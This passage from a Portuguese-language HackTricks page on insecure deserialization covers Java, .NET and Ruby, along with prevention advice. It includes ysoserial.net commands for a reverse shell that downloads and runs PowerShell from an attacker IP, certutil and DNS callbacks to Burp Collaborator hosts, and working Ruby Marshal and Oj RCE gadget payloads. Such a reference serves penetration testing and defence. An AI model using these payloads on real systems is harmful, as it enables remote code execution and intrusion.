<groupId>com.sun.jndi</groupId>
|
|
<artifactId>rmiregistry</artifactId>
|
|
<version>1.2.1</version>
|
|
<type>pom</type>
|
|
</dependency>
|
|
```
|
|
**Instale o maven**, e **compile** o projeto:
|
|
```bash
|
|
sudo apt-get install maven
|
|
mvn clean package -DskipTests
|
|
```
|
|
#### FastJSON
|
|
|
|
Leia mais sobre esta biblioteca Java JSON: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
|
|
|
### Labs
|
|
|
|
* Se você quiser testar alguns payloads ysoserial, você pode **executar este webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
|
* [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
|
|
|
### Why
|
|
|
|
Java usa muita serialização para vários propósitos, como:
|
|
|
|
* **Requisições HTTP**: A serialização é amplamente empregada na gestão de parâmetros, ViewState, cookies, etc.
|
|
* **RMI (Remote Method Invocation)**: O protocolo RMI do Java, que depende inteiramente da serialização, é uma pedra angular para comunicação remota em aplicações Java.
|
|
* **RMI sobre HTTP**: Este método é comumente usado por aplicações web de cliente grosso baseadas em Java, utilizando serialização para todas as comunicações de objetos.
|
|
* **JMX (Java Management Extensions)**: O JMX utiliza serialização para transmitir objetos pela rede.
|
|
* **Protocolos Personalizados**: Em Java, a prática padrão envolve a transmissão de objetos Java brutos, que serão demonstrados em exemplos de exploração futuros.
|
|
|
|
### Prevention
|
|
|
|
#### Objetos Transientes
|
|
|
|
Uma classe que implementa `Serializable` pode implementar como `transient` qualquer objeto dentro da classe que não deveria ser serializável. Por exemplo:
|
|
```java
|
|
public class myAccount implements Serializable
|
|
{
|
|
private transient double profit; // declared transient
|
|
private transient double margin; // declared transient
|
|
```
|
|
#### Evite a serialização de uma classe que precisa implementar Serializable
|
|
|
|
Em cenários onde certos **objetos devem implementar a interface `Serializable`** devido à hierarquia de classes, há um risco de deserialização não intencional. Para evitar isso, garanta que esses objetos sejam não deserializáveis definindo um método `readObject()` `final` que sempre lança uma exceção, como mostrado abaixo:
|
|
```java
|
|
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
|
throw new java.io.IOException("Cannot be deserialized");
|
|
}
|
|
```
|
|
#### **Aprimorando a Segurança de Desserialização em Java**
|
|
|
|
**Personalizando `java.io.ObjectInputStream`** é uma abordagem prática para garantir processos de desserialização. Este método é adequado quando:
|
|
|
|
* O código de desserialização está sob seu controle.
|
|
* As classes esperadas para desserialização são conhecidas.
|
|
|
|
Substitua o **`resolveClass()`** método para limitar a desserialização apenas às classes permitidas. Isso impede a desserialização de qualquer classe, exceto aquelas explicitamente permitidas, como no seguinte exemplo que restringe a desserialização apenas à classe `Bicycle`:
|
|
```java
|
|
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
|
public class LookAheadObjectInputStream extends ObjectInputStream {
|
|
|
|
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
|
super(inputStream);
|
|
}
|
|
|
|
/**
|
|
* Only deserialize instances of our expected Bicycle class
|
|
*/
|
|
@Override
|
|
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
|
if (!desc.getName().equals(Bicycle.class.getName())) {
|
|
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
|
|
}
|
|
return super.resolveClass(desc);
|
|
}
|
|
}
|
|
```
|
|
**Usando um Agente Java para Aumento de Segurança** oferece uma solução alternativa quando a modificação de código não é possível. Este método se aplica principalmente para **colocar em lista negra classes prejudiciais**, usando um parâmetro JVM:
|
|
```
|
|
-javaagent:name-of-agent.jar
|
|
```
|
|
Fornece uma maneira de proteger a desserialização dinamicamente, ideal para ambientes onde mudanças imediatas de código são impraticáveis.
|
|
|
|
Verifique um exemplo em [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
|
|
|
**Implementando Filtros de Serialização**: O Java 9 introduziu filtros de serialização através da interface **`ObjectInputFilter`**, fornecendo um mecanismo poderoso para especificar critérios que os objetos serializados devem atender antes de serem desserializados. Esses filtros podem ser aplicados globalmente ou por fluxo, oferecendo um controle granular sobre o processo de desserialização.
|
|
|
|
Para utilizar filtros de serialização, você pode definir um filtro global que se aplica a todas as operações de desserialização ou configurá-lo dinamicamente para fluxos específicos. Por exemplo:
|
|
```java
|
|
ObjectInputFilter filter = info -> {
|
|
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
|
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
|
|
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
|
|
return Status.REJECTED; // Restrict to allowed classes
|
|
}
|
|
return Status.ALLOWED;
|
|
};
|
|
ObjectInputFilter.Config.setSerialFilter(filter);
|
|
```
|
|
**Aproveitando Bibliotecas Externas para Segurança Aprimorada**: Bibliotecas como **NotSoSerial**, **jdeserialize** e **Kryo** oferecem recursos avançados para controlar e monitorar a desserialização em Java. Essas bibliotecas podem fornecer camadas adicionais de segurança, como a lista branca ou lista negra de classes, análise de objetos serializados antes da desserialização e implementação de estratégias de serialização personalizadas.
|
|
|
|
* **NotSoSerial** intercepta processos de desserialização para evitar a execução de código não confiável.
|
|
* **jdeserialize** permite a análise de objetos Java serializados sem desserializá-los, ajudando a identificar conteúdo potencialmente malicioso.
|
|
* **Kryo** é uma estrutura de serialização alternativa que enfatiza velocidade e eficiência, oferecendo estratégias de serialização configuráveis que podem aumentar a segurança.
|
|
|
|
### Referências
|
|
|
|
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html)
|
|
* Palestra sobre desserialização e ysoserial: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
|
* [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
|
* [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
|
* Palestra sobre gadgetinspector: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) e slides: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
|
* Artigo Marshalsec: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
|
* [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
|
* [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
|
* [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
|
* Artigo sobre desserialização JSON em Java e .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
|
* CVEs de desserializações: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
|
|
|
## Injeção JNDI & log4Shell
|
|
|
|
Descubra o que é **Injeção JNDI, como abusar dela via RMI, CORBA & LDAP e como explorar log4shell** (e um exemplo dessa vulnerabilidade) na página a seguir:
|
|
|
|
{% content-ref url="jndi-java-naming-and-directory-interface-and-log4shell.md" %}
|
|
[jndi-java-naming-and-directory-interface-and-log4shell.md](jndi-java-naming-and-directory-interface-and-log4shell.md)
|
|
{% endcontent-ref %}
|
|
|
|
## JMS - Java Message Service
|
|
|
|
> A **Java Message Service** (**JMS**) API é uma API de middleware orientada a mensagens em Java para enviar mensagens entre dois ou mais clientes. É uma implementação para lidar com o problema do produtor-consumidor. JMS é parte da Plataforma Java, Edição Empresarial (Java EE), e foi definida por uma especificação desenvolvida na Sun Microsystems, mas que desde então tem sido guiada pelo Processo da Comunidade Java. É um padrão de mensagens que permite que componentes de aplicação baseados em Java EE criem, enviem, recebam e leiam mensagens. Permite que a comunicação entre diferentes componentes de uma aplicação distribuída seja fracamente acoplada, confiável e assíncrona. (De [Wikipedia](https://en.wikipedia.org/wiki/Java\_Message\_Service)).
|
|
|
|
### Produtos
|
|
|
|
Existem vários produtos que usam esse middleware para enviar mensagens:
|
|
|
|
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (314).png>)
|
|
|
|
![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](<../../.gitbook/assets/image (1056).png>)
|
|
|
|
### Exploração
|
|
|
|
Então, basicamente, há um **monte de serviços usando JMS de uma maneira perigosa**. Portanto, se você tiver **privilégios suficientes** para enviar mensagens para esses serviços (geralmente você precisará de credenciais válidas), poderá enviar **objetos maliciosos serializados que serão desserializados pelo consumidor/assinante**.\
|
|
Isso significa que, nesta exploração, todos os **clientes que vão usar essa mensagem serão infectados**.
|
|
|
|
Você deve lembrar que, mesmo que um serviço seja vulnerável (porque está desserializando inseguramente a entrada do usuário), você ainda precisa encontrar gadgets válidos para explorar a vulnerabilidade.
|
|
|
|
A ferramenta [JMET](https://github.com/matthiaskaiser/jmet) foi criada para **conectar e atacar esses serviços enviando vários objetos maliciosos serializados usando gadgets conhecidos**. Esses exploits funcionarão se o serviço ainda for vulnerável e se algum dos gadgets usados estiver dentro da aplicação vulnerável.
|
|
|
|
### Referências
|
|
|
|
* Palestra JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
|
* Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
|
|
|
## .Net
|
|
|
|
No contexto do .Net, os exploits de desserialização operam de maneira semelhante àqueles encontrados em Java, onde gadgets são explorados para executar código específico durante a desserialização de um objeto.
|
|
|
|
### Impressão Digital
|
|
|
|
#### WhiteBox
|
|
|
|
O código-fonte deve ser inspecionado em busca de ocorrências de:
|
|
|
|
1. `TypeNameHandling`
|
|
2. `JavaScriptTypeResolver`
|
|
|
|
O foco deve estar em serializadores que permitem que o tipo seja determinado por uma variável sob controle do usuário.
|
|
|
|
#### BlackBox
|
|
|
|
A busca deve se concentrar na string codificada em Base64 **AAEAAAD/////** ou qualquer padrão semelhante que possa passar por desserialização no lado do servidor, concedendo controle sobre o tipo a ser desserializado. Isso pode incluir, mas não se limita a, estruturas **JSON** ou **XML** apresentando `TypeObject` ou `$type`.
|
|
|
|
### ysoserial.net
|
|
|
|
Neste caso, você pode usar a ferramenta [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) para **criar os exploits de desserialização**. Uma vez baixado o repositório git, você deve **compilar a ferramenta** usando o Visual Studio, por exemplo.
|
|
|
|
Se você quiser aprender sobre **como o ysoserial.net cria seu exploit**, pode [**ver esta página onde é explicado o gadget ObjectDataProvider + ExpandedWrapper + Json.Net formatter**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
|
|
|
|
As principais opções do **ysoserial.net** são: **`--gadget`**, **`--formatter`**, **`--output`** e **`--plugin`.**
|
|
|
|
* **`--gadget`** usado para indicar o gadget a ser abusado (indicar a classe/função que será abusada durante a desserialização para executar comandos).
|
|
* **`--formatter`**, usado para indicar o método para serializar o exploit (você precisa saber qual biblioteca está usando o back-end para desserializar a carga e usar a mesma para serializá-la)
|
|
* **`--output`** usado para indicar se você deseja o exploit em **raw** ou **base64** codificado. _Note que **ysoserial.net** irá **codificar** a carga usando **UTF-16LE** (codificação usada por padrão no Windows), então se você pegar o raw e apenas codificá-lo a partir de um console linux, pode ter alguns **problemas de compatibilidade de codificação** que impedirão o exploit de funcionar corretamente (no HTB JSON box a carga funcionou tanto em UTF-16LE quanto em ASCII, mas isso não significa que sempre funcionará)._
|
|
* **`--plugin`** ysoserial.net suporta plugins para criar **exploits para frameworks específicos** como ViewState
|
|
|
|
#### Mais parâmetros do ysoserial.net
|
|
|
|
* `--minify` fornecerá uma **carga útil menor** (se possível)
|
|
* `--raf -f Json.Net -c "anything"` Isso indicará todos os gadgets que podem ser usados com um formatador fornecido (`Json.Net` neste caso)
|
|
* `--sf xml` você pode **indicar um gadget** (`-g`) e ysoserial.net irá procurar por formatadores contendo "xml" (sem distinção entre maiúsculas e minúsculas)
|
|
|
|
**Exemplos de ysoserial** para criar exploits:
|
|
```bash
|
|
#Send ping
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
|
|
|
#Timing
|
|
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
|
|
|
|
#DNS/HTTP request
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
|
|
|
|
#Reverse shell
|
|
#Create shell command in linux
|
|
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
|
|
#Create exploit using the created B64 shellcode
|
|
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
|
```
|
|
**ysoserial.net** também possui um **parâmetro muito interessante** que ajuda a entender melhor como cada exploit funciona: `--test`\
|
|
Se você indicar este parâmetro, **ysoserial.net** irá **tentar** o **exploit localmente,** para que você possa testar se seu payload funcionará corretamente.\
|
|
Este parâmetro é útil porque se você revisar o código, encontrará trechos de código como o seguinte (de [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
|
```java
|
|
if (inputArgs.Test)
|
|
{
|
|
try
|
|
{
|
|
SerializersHelper.JsonNet_deserialize(payload);
|
|
}
|
|
catch (Exception err)
|
|
{
|
|
Debugging.ShowErrors(inputArgs, err);
|
|
}
|
|
}
|
|
```
|
|
Isso significa que, para testar a exploração, o código chamará [serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
|
|
```java
|
|
public static object JsonNet_deserialize(string str)
|
|
{
|
|
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
|
|
{
|
|
TypeNameHandling = TypeNameHandling.Auto
|
|
});
|
|
return obj;
|
|
}
|
|
```
|
|
No **código anterior é vulnerável ao exploit criado**. Portanto, se você encontrar algo semelhante em uma aplicação .Net, isso significa que provavelmente essa aplicação também é vulnerável.\
|
|
Assim, o **`--test`** permite entender **quais partes do código são vulneráveis** ao exploit de deserialização que **ysoserial.net** pode criar.
|
|
|
|
### ViewState
|
|
|
|
Dê uma olhada [neste POST sobre **como tentar explorar o parâmetro \_\_ViewState do .Net**](exploiting-\_\_viewstate-parameter.md) para **executar código arbitrário.** Se você **já conhece os segredos** usados pela máquina da vítima, [**leia este post para saber como executar código**](exploiting-\_\_viewstate-knowing-the-secret.md)**.**
|
|
|
|
### Prevenção
|
|
|
|
Para mitigar os riscos associados à deserialização em .Net:
|
|
|
|
* **Evite permitir que fluxos de dados definam seus tipos de objeto.** Utilize `DataContractSerializer` ou `XmlSerializer` sempre que possível.
|
|
* **Para `JSON.Net`, defina `TypeNameHandling` como `None`:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
|
* **Evite usar `JavaScriptSerializer` com um `JavaScriptTypeResolver`.**
|
|
* **Limite os tipos que podem ser deserializados**, entendendo os riscos inerentes aos tipos .Net, como `System.IO.FileInfo`, que pode modificar as propriedades de arquivos do servidor, potencialmente levando a ataques de negação de serviço.
|
|
* **Tenha cautela com tipos que possuem propriedades arriscadas**, como `System.ComponentModel.DataAnnotations.ValidationException` com sua propriedade `Value`, que pode ser explorada.
|
|
* **Controle a instância de tipos de forma segura** para evitar que atacantes influenciem o processo de deserialização, tornando até mesmo `DataContractSerializer` ou `XmlSerializer` vulneráveis.
|
|
* **Implemente controles de lista branca** usando um `SerializationBinder` personalizado para `BinaryFormatter` e `JSON.Net`.
|
|
* **Mantenha-se informado sobre gadgets de deserialização inseguros conhecidos** dentro do .Net e assegure-se de que os deserializadores não instanciem tais tipos.
|
|
* **Isolar código potencialmente arriscado** de código com acesso à internet para evitar expor gadgets conhecidos, como `System.Windows.Data.ObjectDataProvider` em aplicações WPF, a fontes de dados não confiáveis.
|
|
|
|
### **Referências**
|
|
|
|
* Artigo sobre deserialização JSON em Java e .Net: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** palestra: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slides: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
|
* [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization\_Cheat\_Sheet.html#net-csharp)
|
|
* [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH\_US\_12\_Forshaw\_Are\_You\_My\_Type\_WP.pdf)
|
|
* [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
|
|
|
## **Ruby**
|
|
|
|
Em Ruby, a serialização é facilitada por dois métodos dentro da biblioteca **marshal**. O primeiro método, conhecido como **dump**, é usado para transformar um objeto em um fluxo de bytes. Esse processo é chamado de serialização. Por outro lado, o segundo método, **load**, é empregado para reverter um fluxo de bytes de volta em um objeto, um processo conhecido como deserialização.
|
|
|
|
Para proteger objetos serializados, **Ruby utiliza HMAC (Hash-Based Message Authentication Code)**, garantindo a integridade e autenticidade dos dados. A chave utilizada para esse propósito é armazenada em um dos vários locais possíveis:
|
|
|
|
* `config/environment.rb`
|
|
* `config/initializers/secret_token.rb`
|
|
* `config/secrets.yml`
|
|
* `/proc/self/environ`
|
|
|
|
**Deserialização genérica do Ruby 2.X para cadeia de gadgets RCE (mais informações em** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**):**
|
|
```ruby
|
|
#!/usr/bin/env ruby
|
|
|
|
# Code from https://www.elttam.com/blog/ruby-deserialization/
|
|
|
|
class Gem::StubSpecification
|
|
def initialize; end
|
|
end
|
|
|
|
|
|
stub_specification = Gem::StubSpecification.new
|
|
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
|
|
|
|
puts "STEP n"
|
|
stub_specification.name rescue nil
|
|
puts
|
|
|
|
|
|
class Gem::Source::SpecificFile
|
|
def initialize; end
|
|
end
|
|
|
|
specific_file = Gem::Source::SpecificFile.new
|
|
specific_file.instance_variable_set(:@spec, stub_specification)
|
|
|
|
other_specific_file = Gem::Source::SpecificFile.new
|
|
|
|
puts "STEP n-1"
|
|
specific_file <=> other_specific_file rescue nil
|
|
puts
|
|
|
|
|
|
$dependency_list= Gem::DependencyList.new
|
|
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
|
|
|
|
puts "STEP n-2"
|
|
$dependency_list.each{} rescue nil
|
|
puts
|
|
|
|
|
|
class Gem::Requirement
|
|
def marshal_dump
|
|
[$dependency_list]
|
|
end
|
|
end
|
|
|
|
payload = Marshal.dump(Gem::Requirement.new)
|
|
|
|
puts "STEP n-3"
|
|
Marshal.load(payload) rescue nil
|
|
puts
|
|
|
|
|
|
puts "VALIDATION (in fresh ruby process):"
|
|
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
|
|
pipe.print payload
|
|
pipe.close_write
|
|
puts pipe.gets
|
|
puts
|
|
end
|
|
|
|
puts "Payload (hex):"
|
|
puts payload.unpack('H*')[0]
|
|
puts
|
|
|
|
|
|
require "base64"
|
|
puts "Payload (Base64 encoded):"
|
|
puts Base64.encode64(payload)
|
|
```
|
|
Outras cadeias de RCE para explorar Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
|
|
|
|
### Método Ruby .send()
|
|
|
|
Como explicado em [**este relatório de vulnerabilidade**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se alguma entrada não sanitizada de um usuário chegar ao método `.send()` de um objeto ruby, esse método permite **invocar qualquer outro método** do objeto com quaisquer parâmetros.
|
|
|
|
Por exemplo, chamar eval e então código ruby como segundo parâmetro permitirá executar código arbitrário:
|
|
|
|
{% code overflow="wrap" %}
|
|
```ruby
|
|
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
|
```
|
|
{% endcode %}
|
|
|
|
Além disso, se apenas um parâmetro de **`.send()`** for controlado por um atacante, como mencionado na descrição anterior, é possível chamar qualquer método do objeto que **não precisa de argumentos** ou cujos argumentos têm **valores padrão**.\
|
|
Para isso, é possível enumerar todos os métodos do objeto para **encontrar alguns métodos interessantes que atendam a esses requisitos**.
|
|
|
|
{% code overflow="wrap" %}
|
|
```ruby
|
|
<Object>.send('<user_input>')
|
|
|
|
# This code is taken from the original blog post
|
|
# <Object> in this case is Repository
|
|
## Find methods with those requirements
|
|
repo = Repository.find(1) # get first repo
|
|
repo_methods = [ # get names of all methods accessible by Repository object
|
|
repo.public_methods(),
|
|
repo.private_methods(),
|
|
repo.protected_methods(),
|
|
].flatten()
|
|
|
|
repo_methods.length() # Initial number of methods => 5542
|
|
|
|
## Filter by the arguments requirements
|
|
candidate_methods = repo_methods.select() do |method_name|
|
|
[0, -1].include?(repo.method(method_name).arity())
|
|
end
|
|
candidate_methods.length() # Final number of methods=> 3595
|
|
```
|
|
{% endcode %}
|
|
|
|
### Outras bibliotecas
|
|
|
|
Esta técnica foi retirada[ **deste post no blog**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm\_source=pocket\_shared).
|
|
|
|
Existem outras bibliotecas Ruby que podem ser usadas para serializar objetos e, portanto, que poderiam ser abusadas para obter RCE durante uma deserialização insegura. A tabela a seguir mostra algumas dessas bibliotecas e o método que elas chamam da biblioteca carregada sempre que são deserializadas (função a ser abusada para obter RCE basicamente):
|
|
|
|
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteca</strong></td><td><strong>Dados de entrada</strong></td><td><strong>Método de início dentro da classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binário</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (a classe precisa ser colocada em hash(mapa) como chave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([veja notas sobre json_create no final](#table-vulnerable-sinks))</td></tr></tbody></table>
|
|
|
|
Exemplo básico:
|
|
```ruby
|
|
# Existing Ruby class inside the code of the app
|
|
class SimpleClass
|
|
def initialize(cmd)
|
|
@cmd = cmd
|
|
end
|
|
|
|
def hash
|
|
system(@cmd)
|
|
end
|
|
end
|
|
|
|
# Exploit
|
|
require 'oj'
|
|
simple = SimpleClass.new("open -a calculator") # command for macOS
|
|
json_payload = Oj.dump(simple)
|
|
puts json_payload
|
|
|
|
# Sink vulnerable inside the code accepting user input as json_payload
|
|
Oj.load(json_payload)
|
|
```
|
|
No caso de tentar abusar do Oj, foi possível encontrar uma classe de gadget que dentro de sua função `hash` chamará `to_s`, que chamará spec, que chamará fetch\_path, o que foi possível fazer com que buscasse uma URL aleatória, fornecendo um grande detector desse tipo de vulnerabilidades de deserialização não sanitizadas.
|
|
```json
|
|
{
|
|
"^o": "URI::HTTP",
|
|
"scheme": "s3",
|
|
"host": "example.org/anyurl?",
|
|
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
|
|
}
|
|
```
|
|
Além disso, foi descoberto que com a técnica anterior uma pasta também é criada no sistema, o que é um requisito para abusar de outro gadget a fim de transformar isso em um RCE completo com algo como:
|
|
```json
|
|
{
|
|
"^o": "Gem::Resolver::SpecSpecification",
|
|
"spec": {
|
|
"^o": "Gem::Resolver::GitSpecification",
|
|
"source": {
|
|
"^o": "Gem::Source::Git",
|
|
"git": "zip",
|
|
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
|
|
"root_dir": "/tmp",
|
|
"repository": "anyrepo",
|
|
"name": "anyname"
|
|
},
|
|
"spec": {
|
|
"^o": "Gem::Resolver::Specification",
|
|
"name": "name",
|
|
"dependencies": []
|
|
}
|
|
}
|
|
}
|
|
```
|
|
Verifique mais detalhes na [**postagem original**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm\_source=pocket\_shared).
|
|
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
|
|
|
</details>
|
|
{% endhint %}
|